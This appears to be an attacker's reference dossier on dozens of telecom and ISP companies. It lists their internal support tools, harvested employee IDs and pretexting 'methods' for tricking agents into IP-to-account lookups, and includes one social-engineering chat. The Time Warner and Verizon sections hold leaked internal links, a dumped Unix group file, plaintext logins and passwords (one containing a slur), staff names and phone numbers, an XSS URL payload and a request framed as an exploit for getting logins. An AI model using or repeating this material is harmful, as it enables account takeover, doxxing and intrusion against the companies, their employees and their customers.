I'm wireless department so I don't use SGI. But in v21 you can change the bill cycle's changes plan, reset voicemail, make payment, change adress upgrad and more.
12:23 PM Rodeny:
But what department are you in?
12:23 PM Nathan Haines:
Internet/cable
12:24 PM Rodeny:
That's what I tought If you want I can transfer you to an cable agent instead. What are you trying to do actually?
12:25 PM Nathan Haines:
Nothing, I just had some questions about the tools.
12:25 PM Nathan Haines:
Thanks for helping, and have a great shift :)
12:26 PM Nathan Haines:
Bye.
________________________________________________________________________________________________________________________________________
RCN:
Contact:
- Phone #: +1 (800) 746-4726
Tool(s):
- Bolt // Master tool, can look up an account by basic info or look up a modem.
- ICOMS // Billing tool, can look up by basic info.
- CNDS // Old tool, but agents can still access it. Can do IP lookups.
Employee ID(s):
Name: Richard
ID: 30994
________________________________________________________________________________________________________________________________________
Shaw Communications:
Contact:
- Phone #: +1 (888) 472-2222
- Live Chat: https://www.shaw.ca/secure/contact-us/chat/
Tool(s):
- Spark // Master tool with TOGAF & RSC Tools
- TOGAF
- UD // Unified Desktop.
- RSC Tools
- LTSS
- CBS
Employee ID(s):
Name: Jamil Dharshi
Agent ID: 537603
Cisco IP Ext: 887329
Name: Adam
ID: 8808
Method(s):
1:
~ Go to internet tech support and ask for them to use RSC Tools, it should have a "IP Address Locator" that returns the node and MAC
~ address. Then it should have a "Cable Modem Locator" that pulls up the account number, name and the rest of the details.
________________________________________________________________________________________________________________________________________
Sprint:
Contact:
- Phone #: +1 (844) 665-6327
- Live Chat: https://mysprint.sprint.com/global/snippets/inq/inqChat.html
Tool(s):
- DB2
- iCare
________________________________________________________________________________________________________________________________________
Sky:
Contact:
- Phone #: +44 03442 411 653
- Live Chat: http://contactus.sky.com/
Tool(s):
- Llama
- SPM // Superman, used for IP address lookups.
- Iris
- Chordiant
- Pencils // Billing lookups.
________________________________________________________________________________________________________________________________________
Suddenlink:
Contact:
- Phone #: +1 (888) 822-5151
- Live Chat: www.suddenlink.com/contact-us/
Tool(s):
- ICOMS
- Maestro
- Tulse // Used for modem management, can do CPE lookups.
________________________________________________________________________________________________________________________________________
SaskTel:
Contact:
- Phone #: +1 (306) 373-4791
Tool(s):
- Portal
- Simon
- Customer Centre
- Martins
________________________________________________________________________________________________________________________________________
SRT Communications:
Contact:
- Phone #: +1 (800) 737-9130
- Live Chat: https://chat.srt.com/chat/chat.php
Tool(s):
- ICE // Has an IP address lookup on the front page.
________________________________________________________________________________________________________________________________________
Sonic.net:
Contact:
- Phone #: +1 (707) 547-3400
- Live Chat: http://www.sonic.net/support/chat
Tool(s):
- TechShell // Has an IP address lookup under IPL.
________________________________________________________________________________________________________________________________________
SouthernLINC Wireless:
Contact:
- Phone #: 800-818-5462
Tool(s):
- MIDAS // General account lookup, can lookup by name, phone number, account number, etc.
________________________________________________________________________________________________________________________________________
Start Communications:
Contact:
- Phone #: +1 (877) 78-START / 78278
Tool(s):
-
// Not sure what the name of the tool is that they use, but they have a searchbox where you can put anything like acc #, phone #, IP Address and it looks it up.
________________________________________________________________________________________________________________________________________
Telus / Koodo:
Contact:
- Phone # (Telus): +1 (888) 811-2323
- Live Chat (Telus): http://www.telus.com/chat
- Phone # (Koodo): +1 (647) 788-4337
Tool(s):
- Synapsis // IP/MAC address 2 account.
- Smart Desktop
________________________________________________________________________________________________________________________________________
TekSavvy
Contact:
- Phone: +1 (877) 779-1575
- Livechat: https://help.teksavvy.com/hc/en-us/requests/new
Tool(s):
- Assurance Center // Tool portal.
- Mediview Read Only // Allows you to look up by basic info.
- Subscriber Management Tool // Changes info on account once you have info.
Employee ID(s):
First name: Lee
Employee ID #: 4171
________________________________________________________________________________________________________________________________________
Time Warner / Road Runner / Bright House / Insight:
Tool(s):
- AAD // Advanced Agent Desktop, pulls up account once you already have numbers/PIN.
- Unified // Old tool.
- DOCSIS // Can do CPE lookups aka home IP lookups.
- Nyroc
- Rio
- Real
- Icon
- Genocide
- ASCG
- ATG Tools // Tier 3.
Regions:
Austin RDC:
- TW-Austin
- TW-Beaumont
- TW-ColumbusTX
- TW-CorpusChristi
- TW-DelRio
- TW-Dilley
- TW-EaglePass
- TW-ElPaso
- TW-Gonzalez
- TW-KansasCity
- TW-Kerrville
- TW-Laredo
- TW-Lincoln
- TW-NorthTexas
- TW-RioGrandeValley
- TW-SanAntonio
- TW-Texas Regional
- TW-Uvalde
- TW-Waco
- TW-WitchitaFalls
Bright House Network RDC:
- TW-Bakersfield (Bright House)
- TW-Birmingham
- TW-Cantonment
- TW-CentralFL
- TW-Defuniak
- TW-Detroit (Bright House)
- TW-Elmore
- TW-Eufaula
- TW-Greenville
- TW-Indianapolis (Bright House)
- TW-TampaBay
Charlotte NDC RDC:
- NDC-Charlotte
Columbus RDC:
- IN-Columbus
- TW-KYN
- TW-Louisville
- TW-MOH
- TW-Milwaukee
- TW-NEO
- TW-NEW
- TW-Regional Midwest
- TW-SWOH
- TW-WesternOhio
Coudersport RDC:
- TW-Coudersport
Herndon RDC:
- TW-Herndon
NYC RDC:
- TW-Bergen
- TW-Liberty
- TW-NYCity
- TW-StatenIsland
Orange RDC:
- TW-DesertCities
- TW-Hawaii
- TW-LosAngeles
- TW-Mountain
- TW-MountainWest
- TW-Northwest
- TW-SanDiego
- TW-Southwest
Peakview RDC:
- NDC-Peakview
- TW-Allegeny
- TW-Broomfield
- TW-CentralKYOH
- TW-Clarksburg
- TW-Dothan
- TW-MOOKKS
- TW-Peakview Regional
- TW-Southeast
- TW-TerreHaute
- TW-VoIP
- TW-WesternKY
Raleigh RDC:
- TW-Charlotte
- TW-Columbia
- TW-Fayetteville
- TW-Greensboro
- TW-Raleigh
- TW-Regional-Carolinas
- TW-Wilmington
Syracuse RDC:
- TW-Albany
- TW-Athol
- TW-Berlin
- TW-Binghamton
- TW-Buffalo
- TW-CentralNY
- TW-Keene
- TW-Lancaster (National division)
- TW-Portland
- TW-Rochester
- TW-Syracuse Regional
TSG RDC:
- TW-TSG
Links from TWC Dump:
http://50.113.196.68/IQVMSWebApp/main/loginView.action,NULL,0,e182710,San Diego iVMS
http://64.183.48.50:8080/ActernaTPP/,NULL,0,e092463,JDSU / TEST COMPLETE
http://64.183.48.50:8080/TechCompleteWeb/closeoutReport.do,NULL,0,e092463,JDSU / HCTSR
http://66.75.169.144/ADIA/Login/SecureLogin.aspx,NULL,0,dhall,TRILITHIC
http://74.87.11.77:8008/status,NULL,0,hhulsey,ATS VP
http://BIG BROTHER,NULL,0,jarellano,<blank>
http://DNSStuff.com,NULL,0,kstoner,DNS Stuff.com
http://Orange Tools,NULL,0,e089365,<blank>
http://anon.comcastonline2.speedera.net.staging.speedera.net/anon.comcastonline2/support/help/manuals/Netgear_CG814WG.pdf,NULL,0,e090375,NetGear CG814WG
http://apps.los.twcable.com/Legacy/tier3/index.php?option=com_frontpage&Itemid=1,NULL,0,e142463,ctac
http://apps.los.twcable.com/Legacy/tier3/index.php?option=com_mambowiki&Itemid=36,NULL,0,e159861 ,CTAC
http://apps.los.twcable.com/Legacy/tier3/index.php?option=com_weblinks&catid=16&Itemid=23,NULL,0,ghewitt,CTAC
http://apps.los.twcable.com/sForms/?go=DivFeedback.form,NULL,0,ORodriguez2,Tech Feedback
http://bak-intranet/dncs/,NULL,0,kstoner,RF Gateways on Intranet
http://cable edge,NULL,0,srodriguez,<blank>
http://care.los.twcable.com/,NULL,0,eegan,C3
http://care.los.twcable.com/metro/New_Hire_Reference/HSO_Z_-_Port_Matrix.htm,NULL,0,E139907,Z-Port Ref
http://cntpafs1.corp.local/sites/bakdiv/BIS/default.aspx,NULL,0,hhulsey,Work Links Page
https://tools.rdc-nyc.rr.com/
https://uptime.rdc-kc.rr.com/
https://tools.nyroc.rr.com/
https://tools.tampflrdc.rr.com/docsis/
https://tools.ohiordc.rr.com/
https://docsis-tools.tampabay.rr.com/
https://tools.ohiordc.rr.com/onodera/
https://tech.indy.rr.com/
https://tech.insight.rr.com/
https://www.google.com/#q=inurl:tools+site:rr.com+-site:tv.rr.com+-site:jobs.rr.com+-site:features.rr.com+-site:gallery.rr.com
Rooted:
root:x:0:root
bin:x:1:root,bin,daemon
daemon:x:2:root,bin,daemon
sys:x:3:root,bin,adm
adm:x:4:root,adm,daemon,xymon
tty:x:5:
disk:x:6:root
lp:x:7:daemon,lp
mem:x:8:
kmem:x:9:
wheel:x:10:root
mail:x:12:mail,postfix
uucp:x:14:uucp
man:x:15:
games:x:20:
gopher:x:30:
video:x:39:
dip:x:40:
ftp:x:50:
lock:x:54:
audio:x:63:
nobody:x:99:
users:x:100:
dbus:x:81:
utmp:x:22:
utempter:x:35:
floppy:x:19:
vcsa:x:69:
abrt:x:173:
cdrom:x:11:
tape:x:33:
dialout:x:18:
haldaemon:x:68:haldaemon
ntp:x:38:
saslauth:x:499:
postdrop:x:90:
postfix:x:89:
stapdev:x:498:
stapusr:x:497:
sshd:x:74:
tcpdump:x:72:
slocate:x:21:
jlewis:x:500:jlewis
jdopson:x:501:jdopson
chawley:x:502:chawley
clamav:x:496:
xymon:x:495:
rpowell:x:30040:
sclark:x:30115:sclark
atgoss:x:30116:deverly,jgrodel,jmandzik,jnewton,mattk,ridgeway,wgrossni,lparameswaran,jlose,dcorley,sclark,mnickerson,amiller,bguidare,boxcopy,brettlammers,cagogbua,dfoster,e026400,gkrafsig,gmilby,hhom,jbuonomo,mkraus,momtunnels,rdhakal,red,remote-unified,rkidder,rwaugh,sbailey,sburdick,sjames,tgonder,tnewton,tnowalk,willb
coudy:x:30117:bempson,chey,jlord,llauber,asobilo,broland,dhays,huntmp
bempson:x:30118:bempson
chey:x:30119:chey
jlord:x:30120:jlord
llauber:x:30121:llauber
asobilo:x:30122:asobilo
broland:x:30123:broland
deverly:x:30125:deverly
jgrodel:x:30126:jgrodel
jmandzik:x:30127:jmandzik
jnewton:x:30128:jnewton
mattk:x:30129:mattk
ridgeway:x:30130:ridgeway
wgrossni:x:30131:wgrossni
lparameswaran:x:30132:lparameswaran
jlose:x:30133:jlose
dcorley:x:30134:dcorley
clam:x:494:
mysql:x:493:
mnickerson:x:30135:mnickerson
dhays:x:30136:dhays
amiller:x:30137:amiller
bguidare:x:30138:bguidare
boxcopy:x:30139:boxcopy
brettlammers:x:30140:brettlammers
cagogbua:x:30141:cagogbua
dfoster:x:30142:dfoster
e026400:x:30143:e026400
gkrafsig:x:30144:gkrafsig
gmilby:x:30145:gmilby
hhom:x:30146:hhom
jbuonomo:x:30147:jbuonomo
mkraus:x:30148:mkraus
momtunnels:x:30149:momtunnels
rdhakal:x:30150:rdhakal
red:x:30151:red
remote-unified:x:30152:remote-unified
rkidder:x:30153:rkidder
rwaugh:x:30154:rwaugh
sbailey:x:30155:sbailey
sburdick:x:30156:sburdick
sjames:x:30157:sjames
tgonder:x:30158:tgonder
tnewton:x:30159:tnewton
tnowalk:x:30160:tnowalk
willb:x:30161:willb
huntmp:x:30162:
Employee ID(s):
Name: Darryl Estes
EID: E12145
Location: TW-Raleigh in Raleigh, NC
Logins:
Auth Token = 580432806a046deab0fb620b6c3bf83f2bcca23f
Username = hsdcvgcebu
Password = letmein6
Tools.Orange & Tools.West ~ Breached
Main Landing Page: http://prntscr.com/54gvms
Docsis IMDR (DocsisTools; Ver: 7.10.1): http://prntscr.com/54gwd3
Group: http://prntscr.com/54gwh4
Type: http://prntscr.com/54gwk6
Account Lookup Tool (Onodera): http://prntscr.com/54gwuv
Type: http://prntscr.com/54gx19
Misc Tools: http://prntscr.com/54gx5f
Custom Links: http://prntscr.com/54gx8o
LDAP - Modem: http://prntscr.com/54gxqq
DOCSIS Report: http://prntscr.com/54gxtq
Employee Contact Information: http://prntscr.com/54gyb0
TWC Administrative Employees:
Name Job Title Work Phone Cell Phone
Edwin Kruse Network Services Mgr. 858-635-8420
Tanisha Walker IT Tech 8886074357
John Freed IT Tech 310-563-5831
Diane Reitz Product Engineering Manager 7033451346
James Morin CSC
Tahir Kazmi Senior Manager 703-713-9610
Lyle Dove Network Engineer - ERT 714-288-4519 714-412-8084
Richard Smith Supervisor 716-270-4851
Brian Empson Engineer, Techology 1 814 274 1680
Gerald Brooks IT Anaylist
Cheyenne Smith Engineer, Technology 1 814 274 1361
Paul Parkin Network Engineer 720 279 6203 727 243 0735
Walid Karim NOC Supervisor 877-777-2263
Juan Riofrio Supervisor, NOC 1 703 345 2639
Jason Marsh GNOC Supervisor 7032833910
Mark Mcdonald Manager 877 777 2263
Larone Thompson IT TECH
Tanisha Walker IT TECH 123456789
Fernando Valdiva IT Tech 3106160704
Lonney Krentz SDM 7162704829
Charles Dowd2 Mgr, Support Delivery 1 716 270 4817
Alan Munro mgr 803-431-7789 704-957-2095
Solomon Malik Supervisor, CC Tech Support 1 716 270 4813 716-479-5715
Carol Alvarado Analyst II, Business Support 1 414 277 4160
Jean Rajski Analyst I, Business Support 1 920 831 9118
Hadeed Akhtar NCC Sr Tech 8777772263
Isabelle Kardatzke NOC Supervisor 703-929-0263
Daniel Kim Analyst, IT Service Desk 888 607 4357
Reginald Dean Analyst, IT Service Desk
Chad Flynn Analyst, IT Service Desk
Asma Shaikh Analyst, IT Service Desk 1 512 203 2133
Steven Goheen Analyst, Tier I Support 8888922253
Dawn Ratz Analyst, Tier I Support 8888922253
Robert Foster Analyst, Tier I Support 8888922253
Bonita Belton Analyst, Tier I Support 8888922253
Rob Wimer Operations / SD Tier I 8888922253
Kirk Tobe Operations / SD Tier I 8888922253
Ryan Culpepper CSS Tier 2 704-731-3505
Dave Capron Operations / SD Tier I 8888922253
Rodney Garrison Sprv 704-731-3411
Fred MacDowell Operations / SD Tier I 8888922253
Scott Smith AVSO Manager 7046194670
Nora Rathichith Supv, Comm Care
Thomas Sammarco Customer Care Manager 7162704850
Michael Capozzi Systems Engineer 3153624006 3153735378
Leoanrd Rosenbeck Sr. Systems Engineer 614.212.5215
Brian Dewey CPE Ops Engineer 3153623416
Tom Bebee Technical Manager (315)362-3564
Tracey Williams VEndor
Ryan Czyz Manager, Process 315-362-3560 315-569-2947
Rebecca Curriden Supervisor, NOC-Edge/Video 1 315 362 3032 315-409-8115
Dwight Buchanon Director of Engineering 704-378-2914
Deborah Armatas Operation Supervisor 315-433-0044 ext1675003
Jonathan Case Supervisor, NOC- Edge/Video 315 362 3934
Craig Gilmore Supervisor, NOC- Edge/Video 315 362 3945 315-436-2102
Patrick Harrison Supervisor, NOC- Edge/Video 315 362 3946
Angela Poole Supervisor, NOC - Edge/Video 1 315 362 4011 315-251-4671
David Soares Supervisor, NOC-Edge/Video 1 315 362 4013 315 706 6917
Kim Thomas Supervisor, NOC- Edge/Video 315 362 4012
Brian Toolan Supervisor, NOC- Edge/Video 315 883 5112 315-251-5612
Matthew Enwright Assoc Video Engineer 315 362 4067
Andrew Brosious Surveillance Supervisor NOC 877-777-2263
Alexander Coraci Sr NOC Tech, Edge/Video 18777772263
Todd Murphy Sr NOC Tech, Edge/Video 877-907-7662
Greg DeMaria Manager Network Design 614-481-5431
Stephen Marlett Associate Engineer, NOC-Hub/CI 315 362 3992
Derek Leclair Associate Eng, NOC-Hub/CI 315 362 3047
Joel Marmon Engineer, NOC -Hub/CI 315 634 6262
Robert Mosher Associate Eng, NOC-Hub/CI 315 634 6200
Jonathan Hunter Sr. NOC Technican 877-777-2263
Hector Santiago Hub/CI Assoc Engineer 315 362 4038 315-807-9079
Michael Vacchiano Sr.NOCTechnican 877-777-2263
Kris Olmstead Process & Doc Developer 315-362-3033
James Manino Sr. NOC Technican 877-777-2263
Nadeem Khalfay Broadband Engineer 704-378-2989
Ganesh Manivannan Senior Engineer, Voice Ops 7035618871 7327637674
Brian Curry BC Tech Support Supervisor 614-827-7921
Murphy Kling Sr. NOC Tech - Commercial 1 512 485 6000
Tim Simcox Sr Analyst II, Storm 1 919 654 4017
Bill Fanning System Ops
Patrick Kellogg NOC Restoration Systems 877 777 2263
B Scott Hudson Sr. NOC Tech 703 345 3175
Janette Kerr Senior Systems Engineer 7033453174
Aaron Tetkowski Supv,BC Technical Support 1 716 558 8153
Nathaniel Gallegos Applications systems 877 777 2263 opt 2
Kriti Sharma STEM Internship NOC 3157086331
Rajendra Vazir Network Engineer II 512 498 1287
Dave Carroll Engineer, NOC Video 315-362-3041
Brad Eastman Engineer, Windows Systems 814-274-6706
Shawn Seginack NE II 555-555-5555
Pierre Gosset NE II 555-555-5555
Marshall Morlow NE II 555-555-5555
John Keith NE II 555-555-5555
Chauncy Willard NE II 555-555-5555
Lena Chatman Supervisor 555-555-5555
David Collins Associate Video Engineer 3153805644
Dave Calabro Video Eng 315-362-3037
William Romero Manager, Content Ops 720 225 2501
Monica Mendez Sr. NOC Engineer 1 703 345 2534
Ramiro Mendoza Tier 2 Transport 877 777 2263
Donald England Network Engineer 2 6144815306
Tracy Levy IAM Analyst Corp
Jason Cornwell Engineer - Voice Operations 877 777 2263
Jessica Spicer Assoc Video Engineer 1 315 362 3421
Craig Pritchard NOC Transport Restoration 877 777 2263
Barrie Homer App voice 877 777 2263
Zarrar Malik App systems 877 777 2263
Amin Khaliqi Sr. NOC Tech 877 777 2263
Dereck Neal App systems 877 777 2263
Eric Anderson ASOC NOC Supervisor 877 777 2263
Alan Burke ASOC NOC Supervisor 877 777 2263
Lonnie Sawyer NOC Tech 1 803 800 4460
Sultan Khan App Voice 877 777 2263
Mark Wynkoop Manager, NOC-Video Break Fix 1 315 362 3969
Ryan Blankenship Assoc Engineer, Tier II 877 777 2263
Juan Rodriguez
Dianne Clark Security Operations Supervisor 704 206-6645
Lourdes Lawrence Restoration Systems tech 877 777 2263
Richard Stamper NOC Surveillance 877 777 2263
John Runyon Sr. Noc Tech 877-777-2263
Michael Mirenzi Noc Tech
Chris Barton Noc Tech
Tommy Ferrell Engineer II Transport 877-777-2263
Mike Taylor NOC Tech 877-777-2263 512-787-6687
David Houston Advanced Product Support Lead 1 704 206 4054
Ramon Luciano APS Supervisor 888-888-8888
Montigo Travis APS Team Lead 704-206-4102
Robert Rocca NOC Tech
Prem Shrestha NOC Engineer 1 703 713 9643
________________________________________________________________________________________________________________________________________
TalkTalk / Tiscali:
Tool(s):
- Trio // apparently this is also used to look up a customer's acc, some kid told me it i dunno.
- Subportal // Used to lookup a customer's account.
- PortalPay // Billing tool.
- Retention // Used to terminate a customer.
________________________________________________________________________________________________________________________________________
T-Mobile / MetroPCS / iWireless:
Tool(s):
- Quickview // Allows you to look up an account by basic info, not sure about changing it.
- Remedy // Ticketing system and replacement for Samson when the tool goes down.
- Watson // Used by in-store agents, not sure of the exact use.
- Samson // Main account management system for business sector employees.
- OneVoice
- POS // Point of Sales,
- FSN
- CAM
- HSO
- NCI // 'Basic' network troubleshooting
- T-Community // Gateway to all other tools and question portal.
- iHLR // 'Advanced' network troubleshooting.
Link(s):
- https://tmag.t-mobile.com/WatsonLogin.jsp // Current Watson login.
- http://watson.t-mobile.com/ // Old Watson login.
Employee ID(s):
Name: Dana
ID: 204593
________________________________________________________________________________________________________________________________________
Telstra / BigPond:
Contact:
- Phone #: +61 13 2200
- Live Chat: https://livechat.telstra.com/TCOM:ContactUs:OnlineServices
Tool(s):
- Siebel // Looks up with basic information, used for personal customers but can sometimes look up business accounts.
- Legacy // Looks up business accounts with basic info.
- SIIAM
- Moby
- Discover // Has an IP address lookup under RMS > IP Address
- OATS
Employee ID(s):
Name: ROMANO
Type: Delta
ID: D400339
Employee Name: Maria Christina
Type: Delta
ID: D676938
________________________________________________________________________________________________________________________________________
TDS Telecom:
Contact:
- Phone #: +1 (866) 571-6662
- Live Chat: https://www.tdstelecom.com/contactus
Tool(s):
- Support Portal // Main employee portal, has an IP address search bar on the front page.
- Desi // General account lookup, can do phone #, address, account #, etc.
Employee ID(s):
Name: Kelly
EID: usrkww
________________________________________________________________________________________________________________________________________
Ting:
Contact:
- Phone #: +1 (855) 846-4389
Tool(s):
- Ting Admin // Main tool, can lookup account by basic info.
________________________________________________________________________________________________________________________________________
U.S. Cellular:
Contact:
- Phone #: +1 (888) 939-3900
Tool(s):
- TOPS // // Looks up by basic info such as account number, phone #, name, address, etc.
________________________________________________________________________________________________________________________________________
Verizon:
Contact:
- Phone #: +1 (800) 837-4966
- Verizon IT Dept. #: 866 899 4870
- Live Chat: http://www.verizon.com/support/residential/contact-us/index.htm // Verizon FiOS livechat.
- Live Chat: http://www.verizonwireless.com/wcms/contact-us.html // Verizon wireless livechat.
Tool(s):
- CoFEE // Master tool/swiss army knife.
- CoFEE Anywhere // Unsure of the difference between this and CoFEE.
- CSR
- iVAPP
- iGO
- iView // Not sure.
- ACSS
- DOCSIS // IP/MAC address 2 account.
- Legend // FiOS IP lookup.
- DTI // FiOS Account - Modem - Lookup
Verizon reps:
Hector
ID: Z569191
Supervisor: Juan Chavez
Employee ID(s):
Name: Brett
Location: Redmond, WA
OSID: GFA*667
Name: Andrew
Location: New York, New York
OSID: Z479046
Joe
Zcode: Z7566639
Location: Texas
Name: Annie Hinkson
vCode: v646634
Username: v646634
Password: AmReeHink3!
Username: catdemvzi
Password: Ver1zon!
Username: AntEadABC
Password: Niggering123!
CoFee To Go XSS | 07/16/2016
Proof: http://prntscr.com/btvfk5
Link: https://www22.verizon.com/cofee/content/preorderingd2d/login/CustomMessage.aspx?Error=%3Cimg%20src=somethingWrong%20onerror=alert(%27respire_verizon_cofee_xss%27)%3E
EXPLOIT VERIZON COFEE FOR LOGINS!
Picture: https://i.imgur.com/h1ZjtPu.png
POST https://www22.verizon.com/cofee/CPM/login/resetpassword.aspx/AMGetUserDetails
Host: www22.verizon.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Content-Type: application/json; charset=utf-8
X-Requested-With: XMLHttpRequest
Referer: https://www22.verizon.com/cofee/CPM/Login/ResetPassword.aspx?ActionType=Forgot
Content-Length: 27
Connection: keep-alive
Request Body:
{'strLoginName': "catdemvzi"}
Links:
www22.verizon.com/cofee/
Verizon CoFEE ~ Breached!
http://prntscr.com/55i8vm // Desktop
http://prntscr.com/55i90z // Cofee
http://prntscr.com/55i9ae // All Employee Tools
CoFEE To Go ~ Breached!
https://i.imgur.com/pP6aj9a.png // Home Screen + Search
https://i.imgur.com/eT3dSsY.png // Expanded Search
https://i.imgur.com/zxJ6eWt.png // Internet Data Search Field
https://i.imgur.com/glYCg0Y.png // Name Search
https://i.imgur.com/d9cC4v9.png // Circuit ID Search
Method 1.: For Verizon FiOs IP lookups you can tell the agent to use the CPE Manager tool which has a STB(Set-Top Box) Tracking tab and on it theres an search box labeled "WAN IP" which you can look the IP Address up in
and then it will show how many set box's the customer currently has then you tell the agent to look up the Circuit ID and it will pull up the whole entire account!
________________________________________________________________________________________________________________________________________
Videotron:
Tool(s):
- SGA // Account lookup for technical support agents, doesn't have IP/DNS/CPE/DHCP/WAN lookups.
- Clic // Account lookup for billing, same as above.
________________________________________________________________________________________________________________________________________
Virgin Media:
Tool(s):
- Prince // Can do IP address lookups, tier 2.
- TechWeb // Available to Tech live chat agents only, can do account lookups.
- HipChat // Used to chat with fellow Virgin Media employees
- Pidgin // Same as above.
- LogMeIn Rescue // Used to chat with customers and share screens.
Link(s):
Techweb: tw.radialpoint.net/jmvc/techweb/techweb.html#home
HipChat: rpshared.hipchat.com
Hipchat: http://gyazo.com/7daeee674bee9744ad74c8c9240b6aad
TechWeb: http://gyazo.com/a9719fda5164cf01720d08af22d187d3 http://gyazo.com/df1ba57a5d1d9b4ceac2c1b9d72a4976
http://gyazo.com/c8e9f2f4faff7ebe79666de84eba1c5a
http://gyazo.com/2980ad658d1c2a8b06a3a1d2358cf317
________________________________________________________________________________________________________________________________________
Vonage:
Contact:
- Phone #: +1 (866) 243-4357
- Live Chat: https://support.vonage.com/app/chat/chat_launch_lb/
Tool(s):
- Interact // Can do phone number lookups, general account searches.
- CCA
Employee ID(s):
Name: Bailey K
ID: 102834
Bailey K: Welcome to Vonage Support. How may I help you?
Bailey K: Hi
Steven Wynhoff: Hi, I'm a new employee here and my supervisor is busy so I was wondering if I could ask you a few questions?
Bailey K: Yes please.
Steven Wynhoff: Alright, so I'm in a call with a customer right now and I was wondering what tool I could use to look up their phone numebr
Steven Wynhoff: *number
Bailey K: Interact.
Bailey K: You can see account DID in the top of the tool.
Steven Wynhoff: Alright, and what other tools do we use?
Bailey K: CCA.
Steven Wynhoff: And what does that do?
Bailey K: We access the account through interact and use the deeplink in Interact to populate the account in CCA.
Steven Wynhoff: Alright, thank you for all of your help! May I have your employee ID for my notes?
Bailey K: 102834
Steven Wynhoff: Thank you for your time, have a great shift!
________________________________________________________________________________________________________________________________________
Wide Open West/WOW / Prariewave / Knology:
Contact:
- Phone #: +1 (855) 496-9929
Tool(s):
- ICOMS // Looks up by basic info such as account number, name, address, etc.
- M.U.S.T. // Modem, Upgrades and Statistics Tool.
- ALOPA // Master tool, tier 3 only.
- Tier One
Method(s):
1:
~ Call internet technical support and ask them to look up a customer's CPE IP address in M.U.S.T.
________________________________________________________________________________________________________________________________________
Windstream / Cavalier:
Contact:
- Phone: +1 (866) 445-6873
- Livechat: http://www.windstream.com/Support/
Tool(s):
- Datacannon // Master tool.
________________________________________________________________________________________________________________________________________
Wind Mobile:
Contact:
- Phone: +1 (877) 946-3184
Tool(s):
- SingleUser // Looks up by basic information and SIM(s).
________________________________________________________________________________________________________________________________________
Wave Broadband / Astound Broadband:
Contact:
- Wave Broadband Phone #: +1 (866) WAVE-123 / +1 (866) 928-3123
- Astound Broadband Phone #: +1 (800) 427-8686
Tool(s):
- GLDS / WinCable // Account lookup and ticketing tool.
- ICOMS / CGPRD1A // Another account lookup tool
- Pidgin / Jabber // Used to contact other employees.
- Concurrent // Used by the Wave Broadband NOC, can look up IP addresses.
Intranet Portal Screenshot(s):
- http://imgur.com/GXIo8QS / http://a.pomf.se/axneai.png
- http://imgur.com/JYY3BUm / http://a.pomf.se/ehxoih.png
ICOMS / CGPRD1A Screenshot(s):
- http://imgur.com/l8PkF0i / http://a.pomf.se/zwqmyi.png // Random account lookup.
- http://imgur.com/7oQQ6ju / http://a.pomf.se/lhgbzf.png // Full screenshot.
- http://imgur.com/kh9O2vv / http://a.pomf.se/lhgbzf.png // Full screenshot #2.
GLDS Screenshot(s):
- http://imgur.com/Dj4NHsP / http://a.pomf.se/bnjsnr.png // Search list.
- http://imgur.com/S5ODjdb / http://a.pomf.se/mlfzob.png // Random account lookup #1.
- http://imgur.com/vwBPLKx / http://a.pomf.se/taxrvi.png // Random account lookup #2.
- http://imgur.com/ays0AAG / http://a.pomf.se/scceur.png // Random account lookup #3.
lol:
- http://imgur.com/UAqnJgA / http://a.pomf.se/yfxnzd.png
Employee ID(s):
Name: Tammy Burgess
GLDS User: TBURGESS
Email: tburgess@wavebroadband.com
________________________________________________________________________________________________________________________________________
Wildblue / Exede Internet:
Contact:
- Phone #: +1 (866) 905-6768
Tool(s):
- Wildblue Cims // Main account lookup tool, web-based.
- Salesforce // Knowledge base.
- Avaya one-x // Call manager / forwarder.
- Genesis Desktop // Call manager / taker.
- Aspect Applications // Shift management tool.
- Spark // Used to message other employees.
Screenshot(s):
Wildblue Cims:
- http://gyazo.com/961d22234849977dbe295b154bef5618 // Search page.
- http://gyazo.com/8d77dd2b465dd56910025b84df3f30b1 // Account lookup part 1.
- http://gyazo.com/b90d49c63c838d778d5a20494b506085 // Account lookup part 2.
Genesis Desktop: http://gyazo.com/0a3517e69567bcc9f817195edaa93b58
Aspect Applications: http://gyazo.com/71fb7403ada2c23f76d1ffc3ae9d48e0
Spark: http://gyazo.com/85d3df7df570dce03a4fb2db1df1e859
Link(s):
- https://cims.wildblue.cust-serv.com // Wildblue Cims.
- https://gadviasat.ccc.centurylink.com/gdesktop/viewMainPage.do // Genesis Desktop.
- http://empower.nucomm.net // Aspect Management.
- https://sso.viasat.com/federation/UI/Login // Employee portal.
________________________________________________________________________________________________________________________________________
West Central Wireless:
Contact:
- Office Phone #: +1 (800) 350-4120 / +1 (325) 944-9016
- Tech Support Phone #: +1 (325) 234-5678
- Billing Questions Phone #: +1 (325) 944-9016
Tool(s):
- Elation // Main tool, pulls up account info.
________________________________________________________________________________________________________________________________________
Xplornet:
Contact:
- Phone: +1 (866) 841-6001
Tool(s):
- Ally // Does IP lookups, assigned to tech support.
- Salesforce // Can look up by general info (e.g. address, phone #, etc)
________________________________________________________________________________________________________________________________________
XO Communications:
Contact:
- Phone #: +1 (800) 421-3872
Tool(s):
- TBS // Main tool, can lookup by basic info and most info on the acc.
- ALT // Can do IP address lookups.
________________________________________________________________________________________________________________________________________